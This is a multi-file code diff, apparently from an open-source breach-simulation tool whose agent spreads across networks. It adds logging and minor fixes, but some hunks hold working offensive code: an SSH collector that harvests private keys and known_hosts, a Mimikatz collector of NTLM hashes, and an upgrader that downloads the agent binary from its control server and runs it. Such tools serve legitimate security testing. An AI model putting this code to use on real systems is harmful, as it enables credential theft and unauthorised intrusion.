||||||
|
if info['private_key']:
|
||||||
|
break
|
||||||
|
except (IOError, OSError):
|
||||||
|
pass
|
||||||
|
except OSError:
|
||||||
|
pass
|
||||||
|
usr_info = [info for info in usr_info if info['private_key'] or info['known_hosts']
|
||||||
|
or info['public_key']]
|
||||||
|
return usr_info
|
|
@ -96,7 +96,7 @@ class AzureCollector(object):
|
||||||
except IOError:
|
except IOError:
|
||||||
LOG.warning("Failed to parse VM Access plugin file. Could not open file")
|
LOG.warning("Failed to parse VM Access plugin file. Could not open file")
|
||||||
return None
|
return None
|
||||||
except (KeyError, ValueError):
|
except (KeyError, ValueError, IndexError):
|
||||||
LOG.warning("Failed to parse VM Access plugin file. Invalid format")
|
LOG.warning("Failed to parse VM Access plugin file. Invalid format")
|
||||||
return None
|
return None
|
||||||
except subprocess.CalledProcessError:
|
except subprocess.CalledProcessError:
|
||||||
|
|
|
@ -1,6 +1,7 @@
|
||||||
import logging
|
import logging
|
||||||
|
|
||||||
from . import InfoCollector
|
from . import InfoCollector
|
||||||
|
from SSH_info_collector import SSHCollector
|
||||||
|
|
||||||
__author__ = 'uri'
|
__author__ = 'uri'
|
||||||
|
|
||||||
|
@ -26,4 +27,6 @@ class LinuxInfoCollector(InfoCollector):
|
||||||
self.get_process_list()
|
self.get_process_list()
|
||||||
self.get_network_info()
|
self.get_network_info()
|
||||||
self.get_azure_info()
|
self.get_azure_info()
|
||||||
|
self.info['ssh_info'] = SSHCollector.get_info()
|
||||||
return self.info
|
return self.info
|
||||||
|
|
||||||
|
|
|
@ -26,7 +26,7 @@ class MimikatzCollector(object):
|
||||||
self._get = get_proto(("get", self._dll))
|
self._get = get_proto(("get", self._dll))
|
||||||
self._getTextOutput = getTextOutput(("getTextOutput", self._dll))
|
self._getTextOutput = getTextOutput(("getTextOutput", self._dll))
|
||||||
self._isInit = True
|
self._isInit = True
|
||||||
except StandardError:
|
except Exception:
|
||||||
LOG.exception("Error initializing mimikatz collector")
|
LOG.exception("Error initializing mimikatz collector")
|
||||||
|
|
||||||
def get_logon_info(self):
|
def get_logon_info(self):
|
||||||
|
@ -75,7 +75,7 @@ class MimikatzCollector(object):
|
||||||
logon_data_dictionary[username]["ntlm_hash"] = ntlm_hash
|
logon_data_dictionary[username]["ntlm_hash"] = ntlm_hash
|
||||||
|
|
||||||
return logon_data_dictionary
|
return logon_data_dictionary
|
||||||
except StandardError:
|
except Exception:
|
||||||
LOG.exception("Error getting logon info")
|
LOG.exception("Error getting logon info")
|
||||||
return {}
|
return {}
|
||||||
|
|
||||||
|
|
|
@ -1,45 +0,0 @@
|
||||||
# -*- coding: UTF-8 -*-
|
|
||||||
# NOTE: Launch all tests with `nosetests` command from infection_monkey dir.
|
|
||||||
|
|
||||||
import json
|
|
||||||
import unittest
|
|
||||||
|
|
||||||
from mock import Mock, patch
|
|
||||||
|
|
||||||
import control
|
|
||||||
|
|
||||||
from config import GUID
|
|
||||||
|
|
||||||
|
|
||||||
class ReportConfigErrorTestCase(unittest.TestCase):
|
|
||||||
"""
|
|
||||||
When unknown config variable received form the island server, skip it and report config
|
|
||||||
error back to the server.
|
|
||||||
"""
|
|
||||||
|
|
||||||
config_response = Mock(json=Mock(return_value={'config': {'blah': 'blah'}}))
|
|
||||||
|
|
||||||
def teardown(self):
|
|
||||||
patch.stopall()
|
|
||||||
|
|
||||||
def test_config(self):
|
|
||||||
patch('control.requests.patch', Mock()).start()
|
|
||||||
patch('control.WormConfiguration', Mock(current_server='127.0.0.1:123')).start()
|
|
||||||
|
|
||||||
# GIVEN the server with uknown config variable
|
|
||||||
patch('control.requests.get', Mock(return_value=self.config_response)).start()
|
|
||||||
|
|
||||||
# WHEN monkey tries to load config from server
|
|
||||||
control.ControlClient.load_control_config()
|
|
||||||
|
|
||||||
# THEN she reports config error back to the server
|
|
||||||
control.requests.patch.assert_called_once_with(
|
|
||||||
"https://127.0.0.1:123/api/monkey/%s" % GUID,
|
|
||||||
data=json.dumps({'config_error': True}),
|
|
||||||
headers={'content-type': 'application/json'},
|
|
||||||
verify=False,
|
|
||||||
proxies=control.ControlClient.proxies)
|
|
||||||
|
|
||||||
|
|
||||||
if __name__ == '__main__':
|
|
||||||
unittest.main()
|
|
|
@ -1,4 +1,3 @@
|
||||||
from ftp import FTPServer
|
|
||||||
from http import HTTPServer
|
from http import HTTPServer
|
||||||
|
|
||||||
__author__ = 'hoffer'
|
__author__ = 'hoffer'
|
||||||
|
|
|
@ -1,174 +0,0 @@
|
||||||
import socket, threading, time
|
|
||||||
import StringIO
|
|
||||||
|
|
||||||
__author__ = 'hoffer'
|
|
||||||
|
|
||||||
|
|
||||||
class FTPServer(threading.Thread):
|
|
||||||
def __init__(self, local_ip, local_port, files):
|
|
||||||
self.files=files
|
|
||||||
self.cwd='/'
|
|
||||||
self.mode='I'
|
|
||||||
self.rest=False
|
|
||||||
self.pasv_mode=False
|
|
||||||
self.local_ip = local_ip
|
|
||||||
self.local_port = local_port
|
|
||||||
threading.Thread.__init__(self)
|
|
||||||
|
|
||||||
def run(self):
|
|
||||||
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
||||||
self.sock.bind((self.local_ip,self.local_port))
|
|
||||||
self.sock.listen(1)
|
|
||||||
|
|
||||||
self.conn, self.addr = self.sock.accept()
|
|
||||||
|
|
||||||
self.conn.send('220 Welcome!\r\n')
|
|
||||||
while True:
|
|
||||||
if 0 == len(self.files):
|
|
||||||
break
|
|
||||||
cmd=self.conn.recv(256)
|
|
||||||
if not cmd: break
|
|
||||||
else:
|
|
||||||
try:
|
|
||||||
func=getattr(self,cmd[:4].strip().upper())
|
|
||||||
func(cmd)
|
|
||||||
except Exception,e:
|
|
||||||
self.conn.send('500 Sorry.\r\n')
|
|
||||||
break
|
|
||||||
|
|
||||||
self.conn.close()
|
|
||||||
self.sock.close()
|
|
||||||
|
|
||||||
def SYST(self,cmd):
|
|
||||||
self.conn.send('215 UNIX Type: L8\r\n')
|
|
||||||
def OPTS(self,cmd):
|
|
||||||
if cmd[5:-2].upper()=='UTF8 ON':
|
|
||||||
self.conn.send('200 OK.\r\n')
|
|
||||||
else:
|
|
||||||
self.conn.send('451 Sorry.\r\n')
|
|
||||||
def USER(self,cmd):
|
|
||||||
self.conn.send('331 OK.\r\n')
|
|
||||||
|
|
||||||
def PASS(self,cmd):
|
|
||||||
self.conn.send('230 OK.\r\n')
|
|
||||||
|
|
||||||
def QUIT(self,cmd):
|
|
||||||
self.conn.send('221 Goodbye.\r\n')
|
|
||||||
|
|
||||||
def NOOP(self,cmd):
|
|
||||||
self.conn.send('200 OK.\r\n')
|
|
||||||
|
|
||||||
def TYPE(self,cmd):
|
|
||||||
self.mode=cmd[5]
|
|
||||||
self.conn.send('200 Binary mode.\r\n')
|
|
||||||
|
|
||||||
def CDUP(self,cmd):
|
|
||||||
self.conn.send('200 OK.\r\n')
|
|
||||||
|
|
||||||
def PWD(self,cmd):
|
|
||||||
self.conn.send('257 \"%s\"\r\n' % self.cwd)
|
|
||||||
|
|
||||||
def CWD(self,cmd):
|
|
||||||
self.conn.send('250 OK.\r\n')
|
|
||||||
|
|
||||||
def PORT(self,cmd):
|
|
||||||
if self.pasv_mode:
|
|
||||||
self.servsock.close()
|
|
||||||
self.pasv_mode = False
|
|
||||||
l = cmd[5:].split(',')
|
|
||||||
self.dataAddr='.'.join(l[:4])
|
|
||||||
self.dataPort=(int(l[4])<<8)+int(l[5])
|
|
||||||
self.conn.send('200 Get port.\r\n')
|
|
||||||
|
|
||||||
def PASV(self,cmd):
|
|
||||||
self.pasv_mode = True
|
|
||||||
self.servsock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
|
|
||||||
self.servsock.bind((local_ip,0))
|
|
||||||
self.servsock.listen(1)
|
|
||||||
ip, port = self.servsock.getsockname()
|
|
||||||
self.conn.send('227 Entering Passive Mode (%s,%u,%u).\r\n' %
|
|
||||||
(','.join(ip.split('.')), port>>8&0xFF, port&0xFF))
|
|
||||||
|
|
||||||
def start_datasock(self):
|
|
||||||
if self.pasv_mode:
|
|
||||||
self.datasock, addr = self.servsock.accept()
|
|
||||||
else:
|
|
||||||
self.datasock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
|
|
||||||
self.datasock.connect((self.dataAddr,self.dataPort))
|
|
||||||
|
|
||||||
def stop_datasock(self):
|
|
||||||
self.datasock.close()
|
|
||||||
if self.pasv_mode:
|
|
||||||
self.servsock.close()
|
|
||||||
|
|
||||||
def LIST(self,cmd):
|
|
||||||
self.conn.send('150 Here comes the directory listing.\r\n')
|
|
||||||
self.start_datasock()
|
|
||||||
for fn in self.files.keys():
|
|
||||||
k=self.toListItem(fn)
|
|
||||||
self.datasock.send(k+'\r\n')
|
|
||||||
self.stop_datasock()
|
|
||||||
self.conn.send('226 Directory send OK.\r\n')
|
|
||||||
|
|
||||||
def toListItem(self,fn):
|
|
||||||
fullmode='rwxrwxrwx'
|
|
||||||
mode = ''
|
|
||||||
d = '-'
|
|
||||||
ftime=time.strftime(' %b %d %H:%M ', time.gmtime())
|
|
||||||
return d+fullmode+' 1 user group '+str(self.files[fn].tell())+ftime+fn
|
|
||||||
|
|
||||||
def MKD(self,cmd):
|
|
||||||
self.conn.send('257 Directory created.\r\n')
|
|
||||||
|
|
||||||
def RMD(self,cmd):
|
|
||||||
self.conn.send('450 Not allowed.\r\n')
|
|
||||||
|
|
||||||
def DELE(self,cmd):
|
|
||||||
self.conn.send('450 Not allowed.\r\n')
|
|
||||||
|
|
||||||
def SIZE(self,cmd):
|
|
||||||
self.conn.send('450 Not allowed.\r\n')
|
|
||||||
|
|
||||||
def RNFR(self,cmd):
|
|
||||||
self.conn.send('350 Ready.\r\n')
|
|
||||||
|
|
||||||
def RNTO(self,cmd):
|
|
||||||
self.conn.send('250 File renamed.\r\n')
|
|
||||||
|
|
||||||
def REST(self,cmd):
|
|
||||||
self.pos=int(cmd[5:-2])
|
|
||||||
self.rest=True
|
|
||||||
self.conn.send('250 File position reseted.\r\n')
|
|
||||||
|
|
||||||
def RETR(self,cmd):
|
|
||||||
fn = cmd[5:-2]
|
|
||||||
if self.mode=='I':
|
|
||||||
fi=self.files[fn]
|
|
||||||
else:
|
|
||||||
fi=self.files[fn]
|
|
||||||
self.conn.send('150 Opening data connection.\r\n')
|
|
||||||
if self.rest:
|
|
||||||
fi.seek(self.pos)
|
|
||||||
self.rest=False
|
|
||||||
data= fi.read(1024)
|
|
||||||
self.start_datasock()
|
|
||||||
while data:
|
|
||||||
self.datasock.send(data)
|
|
||||||
data=fi.read(1024)
|
|
||||||
fi.close()
|
|
||||||
del self.files[fn]
|
|
||||||
self.stop_datasock()
|
|
||||||
self.conn.send('226 Transfer complete.\r\n')
|
|
||||||
|
|
||||||
def STOR(self,cmd):
|
|
||||||
fn = cmd[5:-2]
|
|
||||||
fo = StringIO.StringIO()
|
|
||||||
self.conn.send('150 Opening data connection.\r\n')
|
|
||||||
self.start_datasock()
|
|
||||||
while True:
|
|
||||||
data=self.datasock.recv(1024)
|
|
||||||
if not data: break
|
|
||||||
fo.write(data)
|
|
||||||
fo.seek(0)
|
|
||||||
self.stop_datasock()
|
|
||||||
self.conn.send('226 Transfer complete.\r\n')
|
|
|
@ -122,7 +122,7 @@ class HTTPConnectProxyHandler(BaseHTTPServer.BaseHTTPRequestHandler):
|
||||||
address = (u.hostname, u.port or 443)
|
address = (u.hostname, u.port or 443)
|
||||||
try:
|
try:
|
||||||
conn = socket.create_connection(address)
|
conn = socket.create_connection(address)
|
||||||
except socket.error, e:
|
except socket.error as e:
|
||||||
LOG.debug("HTTPConnectProxyHandler: Got exception while trying to connect to %s: %s" % (repr(address), e))
|
LOG.debug("HTTPConnectProxyHandler: Got exception while trying to connect to %s: %s" % (repr(address), e))
|
||||||
self.send_error(504) # 504 Gateway Timeout
|
self.send_error(504) # 504 Gateway Timeout
|
||||||
return
|
return
|
||||||
|
|
|
@ -63,7 +63,7 @@ class TcpProxy(TransportProxyBase):
|
||||||
try:
|
try:
|
||||||
dest = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
dest = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
dest.connect((self.dest_host, self.dest_port))
|
dest.connect((self.dest_host, self.dest_port))
|
||||||
except socket.error, ex:
|
except socket.error as ex:
|
||||||
source.close()
|
source.close()
|
||||||
dest.close()
|
dest.close()
|
||||||
continue
|
continue
|
||||||
|
|
|
@ -1,5 +1,6 @@
|
||||||
import os
|
import os
|
||||||
import sys
|
import sys
|
||||||
|
import struct
|
||||||
|
|
||||||
from config import WormConfiguration
|
from config import WormConfiguration
|
||||||
|
|
||||||
|
@ -12,3 +13,19 @@ def get_monkey_log_path():
|
||||||
def get_dropper_log_path():
|
def get_dropper_log_path():
|
||||||
return os.path.expandvars(WormConfiguration.dropper_log_path_windows) if sys.platform == "win32" \
|
return os.path.expandvars(WormConfiguration.dropper_log_path_windows) if sys.platform == "win32" \
|
||||||
else WormConfiguration.dropper_log_path_linux
|
else WormConfiguration.dropper_log_path_linux
|
||||||
|
|
||||||
|
|
||||||
|
def is_64bit_windows_os():
|
||||||
|
'''
|
||||||
|
Checks for 64 bit Windows OS using environment variables.
|
||||||
|
:return:
|
||||||
|
'''
|
||||||
|
return 'PROGRAMFILES(X86)' in os.environ
|
||||||
|
|
||||||
|
|
||||||
|
def is_64bit_python():
|
||||||
|
return struct.calcsize("P") == 8
|
||||||
|
|
||||||
|
|
||||||
|
def is_windows_os():
|
||||||
|
return sys.platform.startswith("win")
|
||||||
|
|
|
@ -0,0 +1,58 @@
|
||||||
|
import logging
|
||||||
|
import subprocess
|
||||||
|
import sys
|
||||||
|
import shutil
|
||||||
|
|
||||||
|
import time
|
||||||
|
|
||||||
|
import monkeyfs
|
||||||
|
from config import WormConfiguration
|
||||||
|
from control import ControlClient
|
||||||
|
from exploit.tools import build_monkey_commandline_explicitly
|
||||||
|
from model import MONKEY_CMDLINE_WINDOWS
|
||||||
|
from utils import is_windows_os, is_64bit_windows_os, is_64bit_python
|
||||||
|
|
||||||
|
__author__ = 'itay.mizeretz'
|
||||||
|
|
||||||
|
LOG = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
if "win32" == sys.platform:
|
||||||
|
from win32process import DETACHED_PROCESS
|
||||||
|
else:
|
||||||
|
DETACHED_PROCESS = 0
|
||||||
|
|
||||||
|
|
||||||
|
class WindowsUpgrader(object):
|
||||||
|
__UPGRADE_WAIT_TIME__ = 3
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def should_upgrade():
|
||||||
|
return is_windows_os() and is_64bit_windows_os() \
|
||||||
|
and not is_64bit_python()
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def upgrade(opts):
|
||||||
|
try:
|
||||||
|
monkey_64_path = ControlClient.download_monkey_exe_by_os(True, False)
|
||||||
|
with monkeyfs.open(monkey_64_path, "rb") as downloaded_monkey_file:
|
||||||
|
with open(WormConfiguration.dropper_target_path_win_64, 'wb') as written_monkey_file:
|
||||||
|
shutil.copyfileobj(downloaded_monkey_file, written_monkey_file)
|
||||||
|
except (IOError, AttributeError):
|
||||||
|
LOG.error("Failed to download the Monkey to the target path.")
|
||||||
|
return
|
||||||
|
|
||||||
|
monkey_options = build_monkey_commandline_explicitly(opts.parent, opts.tunnel, opts.server, opts.depth)
|
||||||
|
|
||||||
|
monkey_cmdline = MONKEY_CMDLINE_WINDOWS % {
|
||||||
|
'monkey_path': WormConfiguration.dropper_target_path_win_64} + monkey_options
|
||||||
|
|
||||||
|
monkey_process = subprocess.Popen(monkey_cmdline, shell=True,
|
||||||
|
stdin=None, stdout=None, stderr=None,
|
||||||
|
close_fds=True, creationflags=DETACHED_PROCESS)
|
||||||
|
|
||||||
|
LOG.info("Executed 64bit monkey process (PID=%d) with command line: %s",
|
||||||
|
monkey_process.pid, monkey_cmdline)
|
||||||
|
|
||||||
|
time.sleep(WindowsUpgrader.__UPGRADE_WAIT_TIME__)
|
||||||
|
if monkey_process.poll() is not None:
|
||||||
|
LOG.error("Seems like monkey died too soon")
|
|
@ -14,6 +14,7 @@ from cc.resources.client_run import ClientRun
|
||||||
from cc.resources.edge import Edge
|
from cc.resources.edge import Edge
|
||||||
from cc.resources.local_run import LocalRun
|
from cc.resources.local_run import LocalRun
|
||||||
from cc.resources.log import Log
|
from cc.resources.log import Log
|
||||||
|
from cc.resources.island_logs import IslandLog
|
||||||
from cc.resources.monkey import Monkey
|
from cc.resources.monkey import Monkey
|
||||||
from cc.resources.monkey_configuration import MonkeyConfiguration
|
from cc.resources.monkey_configuration import MonkeyConfiguration
|
||||||
from cc.resources.monkey_download import MonkeyDownload
|
from cc.resources.monkey_download import MonkeyDownload
|
||||||
|
@ -106,6 +107,7 @@ def init_app(mongo_url):
|
||||||
api.add_resource(Report, '/api/report', '/api/report/')
|
api.add_resource(Report, '/api/report', '/api/report/')
|
||||||
api.add_resource(TelemetryFeed, '/api/telemetry-feed', '/api/telemetry-feed/')
|
api.add_resource(TelemetryFeed, '/api/telemetry-feed', '/api/telemetry-feed/')
|
||||||
api.add_resource(Log, '/api/log', '/api/log/')
|
api.add_resource(Log, '/api/log', '/api/log/')
|
||||||
|
api.add_resource(IslandLog, '/api/log/island/download', '/api/log/island/download/')
|
||||||
api.add_resource(PthMap, '/api/pthmap', '/api/pthmap/')
|
api.add_resource(PthMap, '/api/pthmap', '/api/pthmap/')
|
||||||
api.add_resource(PTHReport, '/api/pthreport', '/api/pthreport/')
|
api.add_resource(PTHReport, '/api/pthreport', '/api/pthreport/')
|
||||||
|
|
||||||
|
|
|
@ -1,7 +1,11 @@
|
||||||
import json
|
import json
|
||||||
|
import logging
|
||||||
import standard
|
import standard
|
||||||
import aws
|
import aws
|
||||||
|
|
||||||
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
ENV_DICT = {
|
ENV_DICT = {
|
||||||
'standard': standard.StandardEnvironment,
|
'standard': standard.StandardEnvironment,
|
||||||
'aws': aws.AwsEnvironment
|
'aws': aws.AwsEnvironment
|
||||||
|
@ -18,6 +22,7 @@ def load_env_from_file():
|
||||||
try:
|
try:
|
||||||
__env_type = load_env_from_file()
|
__env_type = load_env_from_file()
|
||||||
env = ENV_DICT[__env_type]()
|
env = ENV_DICT[__env_type]()
|
||||||
|
logger.info('Monkey\'s env is: {0}'.format(env.__class__.__name__))
|
||||||
except Exception:
|
except Exception:
|
||||||
print('Failed initializing environment: %s' % __env_type)
|
logger.error('Failed initializing environment', exc_info=True)
|
||||||
raise
|
raise
|
||||||
|
|
|
@ -0,0 +1,26 @@
|
||||||
|
import os
|
||||||
|
import json
|
||||||
|
import logging.config
|
||||||
|
|
||||||
|
|
||||||
|
__author__ = 'Maor.Rayzin'
|
||||||
|
|
||||||
|
|
||||||
|
def json_setup_logging(default_path='logging.json', default_level=logging.INFO, env_key='LOG_CFG'):
|
||||||
|
"""
|
||||||
|
Setup the logging configuration
|
||||||
|
:param default_path: the default log configuration file path
|
||||||
|
:param default_level: Default level to log from
|
||||||
|
:param env_key: SYS ENV key to use for external configuration file path
|
||||||
|
:return:
|
||||||
|
"""
|
||||||
|
path = default_path
|
||||||
|
value = os.getenv(env_key, None)
|
||||||
|
if value:
|
||||||
|
path = value
|
||||||
|
if os.path.exists(path):
|
||||||
|
with open(path, 'rt') as f:
|
||||||
|
config = json.load(f)
|
||||||
|
logging.config.dictConfig(config)
|
||||||
|
else:
|
||||||
|
logging.basicConfig(level=default_level)
|
|
@ -0,0 +1,33 @@
|
||||||
|
{
|
||||||
|
"version": 1,
|
||||||
|
"disable_existing_loggers": false,
|
||||||
|
"formatters": {
|
||||||
|
"simple": {
|
||||||
|
"format": "%(asctime)s - %(filename)s:%(lineno)s - %(funcName)10s() - %(levelname)s - %(message)s"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
|
||||||
|
"handlers": {
|
||||||
|
"console": {
|
||||||
|
"class": "logging.StreamHandler",
|
||||||
|
"level": "DEBUG",
|
||||||
|
"formatter": "simple",
|
||||||
|
"stream": "ext://sys.stdout"
|
||||||
|
},
|
||||||
|
|
||||||
|
"info_file_handler": {
|
||||||
|
"class": "logging.handlers.RotatingFileHandler",
|
||||||
|
"level": "INFO",
|
||||||
|
"formatter": "simple",
|
||||||
|
"filename": "info.log",
|
||||||
|
"maxBytes": 10485760,
|
||||||
|
"backupCount": 20,
|
||||||
|
"encoding": "utf8"
|
||||||
|
}
|
||||||
|
},
|
||||||
|
|
||||||
|
"root": {
|
||||||
|
"level": "INFO",
|
||||||
|
"handlers": ["console", "info_file_handler"]
|
||||||
|
}
|
||||||
|
}
|
|
@ -2,19 +2,25 @@ from __future__ import print_function # In python 2.7
|
||||||
|
|
||||||
import os
|
import os
|
||||||
import sys
|
import sys
|
||||||
|
|
||||||
import time
|
import time
|
||||||
|
import logging
|
||||||
|
|
||||||
BASE_PATH = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
|
BASE_PATH = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))
|
||||||
if BASE_PATH not in sys.path:
|
if BASE_PATH not in sys.path:
|
||||||
sys.path.insert(0, BASE_PATH)
|
sys.path.insert(0, BASE_PATH)
|
||||||
|
|
||||||
|
from cc.island_logger import json_setup_logging
|
||||||
|
# This is here in order to catch EVERYTHING, some functions are being called on imports the log init needs to be on top.
|
||||||
|
json_setup_logging(default_path='island_logger_default_config.json', default_level=logging.DEBUG)
|
||||||
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
from cc.app import init_app
|
from cc.app import init_app
|
||||||
from cc.utils import local_ip_addresses
|
from cc.utils import local_ip_addresses
|
||||||
from cc.environment.environment import env
|
from cc.environment.environment import env
|
||||||
from cc.database import is_db_server_up
|
from cc.database import is_db_server_up
|
||||||
|
|
||||||
if __name__ == '__main__':
|
|
||||||
|
def main():
|
||||||
from tornado.wsgi import WSGIContainer
|
from tornado.wsgi import WSGIContainer
|
||||||
from tornado.httpserver import HTTPServer
|
from tornado.httpserver import HTTPServer
|
||||||
from tornado.ioloop import IOLoop
|
from tornado.ioloop import IOLoop
|
||||||
|
@ -22,7 +28,7 @@ if __name__ == '__main__':
|
||||||
mongo_url = os.environ.get('MONGO_URL', env.get_mongo_url())
|
mongo_url = os.environ.get('MONGO_URL', env.get_mongo_url())
|
||||||
|
|
||||||
while not is_db_server_up(mongo_url):
|
while not is_db_server_up(mongo_url):
|
||||||
print('Waiting for MongoDB server')
|
logger.info('Waiting for MongoDB server')
|
||||||
time.sleep(1)
|
time.sleep(1)
|
||||||
|
|
||||||
app = init_app(mongo_url)
|
app = init_app(mongo_url)
|
||||||
|
@ -33,6 +39,10 @@ if __name__ == '__main__':
|
||||||
ssl_options={'certfile': os.environ.get('SERVER_CRT', 'server.crt'),
|
ssl_options={'certfile': os.environ.get('SERVER_CRT', 'server.crt'),
|
||||||
'keyfile': os.environ.get('SERVER_KEY', 'server.key')})
|
'keyfile': os.environ.get('SERVER_KEY', 'server.key')})
|
||||||
http_server.listen(env.get_island_port())
|
http_server.listen(env.get_island_port())
|
||||||
print('Monkey Island Server is running on https://{}:{}'.format(local_ip_addresses()[0], env.get_island_port()))
|
logger.info(
|
||||||
|
'Monkey Island Server is running on https://{}:{}'.format(local_ip_addresses()[0], env.get_island_port()))
|
||||||
IOLoop.instance().start()
|
IOLoop.instance().start()
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == '__main__':
|
||||||
|
main()
|
||||||
|
|
|
@ -1,3 +1,4 @@
|
||||||
|
import logging
|
||||||
from flask import request, jsonify
|
from flask import request, jsonify
|
||||||
import flask_restful
|
import flask_restful
|
||||||
|
|
||||||
|
@ -5,6 +6,8 @@ from cc.services.node import NodeService
|
||||||
|
|
||||||
__author__ = 'itay.mizeretz'
|
__author__ = 'itay.mizeretz'
|
||||||
|
|
||||||
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
class ClientRun(flask_restful.Resource):
|
class ClientRun(flask_restful.Resource):
|
||||||
def get(self):
|
def get(self):
|
||||||
|
@ -17,6 +20,7 @@ class ClientRun(flask_restful.Resource):
|
||||||
if monkey is not None:
|
if monkey is not None:
|
||||||
is_monkey_running = not monkey["dead"]
|
is_monkey_running = not monkey["dead"]
|
||||||
else:
|
else:
|
||||||
|
logger.info("Monkey is not running")
|
||||||
is_monkey_running = False
|
is_monkey_running = False
|
||||||
|
|
||||||
return jsonify(is_running=is_monkey_running)
|
return jsonify(is_running=is_monkey_running)
|
||||||
|
|
|
@ -0,0 +1,19 @@
|
||||||
|
import logging
|
||||||
|
|
||||||
|
import flask_restful
|
||||||
|
|
||||||
|
from cc.auth import jwt_required
|
||||||
|
from cc.services.island_logs import IslandLogService
|
||||||
|
|
||||||
|
__author__ = "Maor.Rayzin"
|
||||||
|
|
||||||
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
|
class IslandLog(flask_restful.Resource):
|
||||||
|
@jwt_required()
|
||||||
|
def get(self):
|
||||||
|
try:
|
||||||
|
return IslandLogService.get_log_file()
|
||||||
|
except Exception as e:
|
||||||
|
logger.error('Monkey Island logs failed to download', exc_info=True)
|
|
@ -13,6 +13,8 @@ from cc.utils import local_ip_addresses
|
||||||
|
|
||||||
__author__ = 'Barak'
|
__author__ = 'Barak'
|
||||||
|
|
||||||
|
import logging
|
||||||
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
def run_local_monkey():
|
def run_local_monkey():
|
||||||
import platform
|
import platform
|
||||||
|
@ -32,6 +34,7 @@ def run_local_monkey():
|
||||||
copyfile(monkey_path, target_path)
|
copyfile(monkey_path, target_path)
|
||||||
os.chmod(target_path, stat.S_IRWXU | stat.S_IRWXG)
|
os.chmod(target_path, stat.S_IRWXU | stat.S_IRWXG)
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
|
logger.error('Copy file failed', exc_info=True)
|
||||||
return False, "Copy file failed: %s" % exc
|
return False, "Copy file failed: %s" % exc
|
||||||
|
|
||||||
# run the monkey
|
# run the monkey
|
||||||
|
@ -41,6 +44,7 @@ def run_local_monkey():
|
||||||
args = "".join(args)
|
args = "".join(args)
|
||||||
pid = subprocess.Popen(args, shell=True).pid
|
pid = subprocess.Popen(args, shell=True).pid
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
|
logger.error('popen failed', exc_info=True)
|
||||||
return False, "popen failed: %s" % exc
|
return False, "popen failed: %s" % exc
|
||||||
|
|
||||||
return True, "pis: %s" % pid
|
return True, "pis: %s" % pid
|
||||||
|
|
|
@ -17,7 +17,7 @@ class MonkeyConfiguration(flask_restful.Resource):
|
||||||
@jwt_required()
|
@jwt_required()
|
||||||
def post(self):
|
def post(self):
|
||||||
config_json = json.loads(request.data)
|
config_json = json.loads(request.data)
|
||||||
if config_json.has_key('reset'):
|
if 'reset' in config_json:
|
||||||
ConfigService.reset_config()
|
ConfigService.reset_config()
|
||||||
else:
|
else:
|
||||||
ConfigService.update_config(config_json, should_encrypt=True)
|
ConfigService.update_config(config_json, should_encrypt=True)
|
||||||
|
|
|
@ -1,3 +1,4 @@
|
||||||
|
import logging
|
||||||
import json
|
import json
|
||||||
|
|
||||||
import os
|
import os
|
||||||
|
@ -6,6 +7,8 @@ import flask_restful
|
||||||
|
|
||||||
__author__ = 'Barak'
|
__author__ = 'Barak'
|
||||||
|
|
||||||
|
logger = logging.getLogger(__name__)
|
||||||
|
|
||||||
|
|
||||||
MONKEY_DOWNLOADS = [
|
MONKEY_DOWNLOADS = [
|
||||||
{
|
{
|
||||||
|
@ -18,6 +21,11 @@ MONKEY_DOWNLOADS = [
|
||||||
'machine': 'i686',
|
'machine': 'i686',
|
||||||
'filename': 'monkey-linux-32',
|
'filename': 'monkey-linux-32',
|
||||||
},
|
},
|
||||||
|
{
|
||||||
|
'type': 'linux',
|
||||||
|
'machine': 'i386',
|
||||||
|
'filename': 'monkey-linux-32',
|
||||||
|
},
|
||||||
{
|
{
|
||||||
'type': 'linux',
|
'type': 'linux',
|
||||||
'filename': 'monkey-linux-64',
|
'filename': 'monkey-linux-64',
|
||||||
|
@ -32,6 +40,16 @@ MONKEY_DOWNLOADS = [
|
||||||
'machine': 'amd64',
|
'machine': 'amd64',
|
||||||
'filename': 'monkey-windows-64.exe',
|
'filename': 'monkey-windows-64.exe',
|
||||||
},
|
},
|
||||||
|
{
|
||||||
|
'type': 'windows',
|
||||||
|
'machine': '64',
|
||||||
|
'filename': 'monkey-windows-64.exe',
|
||||||
|
},
|
||||||
|
{
|
||||||
|
'type': 'windows',
|
||||||
|
'machine': '32',
|
||||||
|
'filename': 'monkey-windows-32.exe',
|
||||||
|
},
|
||||||
{
|
{
|
||||||
'type': 'windows',
|
'type': 'windows',
|
||||||
'filename': 'monkey-windows-32.exe',
|
'filename': 'monkey-windows-32.exe',
|
||||||
|
@ -42,7 +60,10 @@ MONKEY_DOWNLOADS = [
|
||||||
def get_monkey_executable(host_os, machine):
|
def get_monkey_executable(host_os, machine):
|
||||||
for download in MONKEY_DOWNLOADS:
|
for download in MONKEY_DOWNLOADS:
|
||||||
if host_os == download.get('type') and machine == download.get('machine'):
|
if host_os == download.get('type') and machine == download.get('machine'):
|
||||||
|
logger.info('Monkey exec found for os: {0} and machine: {1}'.format(host_os, machine))
|
||||||
return download
|
return download
|
||||||
|
logger.warning('No monkey executables could be found for the host os or machine or both: host_os: {0}, machine: {1}'
|
||||||
|
.format(host_os, machine))
|
||||||
return None
|
return None
|
||||||
|
|
||||||
|
|
||||||
|
|
|
@ -1,4 +1,5 @@
|
||||||
from datetime import datetime
|
from datetime import datetime
|
||||||
|
import logging
|
||||||
|
|
||||||
